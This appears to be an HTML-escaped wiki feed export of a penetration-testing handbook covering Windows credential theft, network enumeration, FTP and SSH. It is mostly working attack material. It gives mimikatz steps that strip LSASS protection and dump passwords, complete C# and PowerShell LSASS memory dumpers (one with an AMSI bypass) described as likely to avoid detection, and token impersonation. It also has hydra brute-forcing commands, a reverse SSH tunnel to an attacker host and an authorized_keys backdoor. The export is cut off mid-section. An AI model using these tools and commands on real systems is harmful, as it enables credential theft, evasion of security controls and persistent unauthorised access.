*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2353</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2353"/>
		<updated>2026-03-05T18:38:10Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Tiny Http Server - Rebex */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
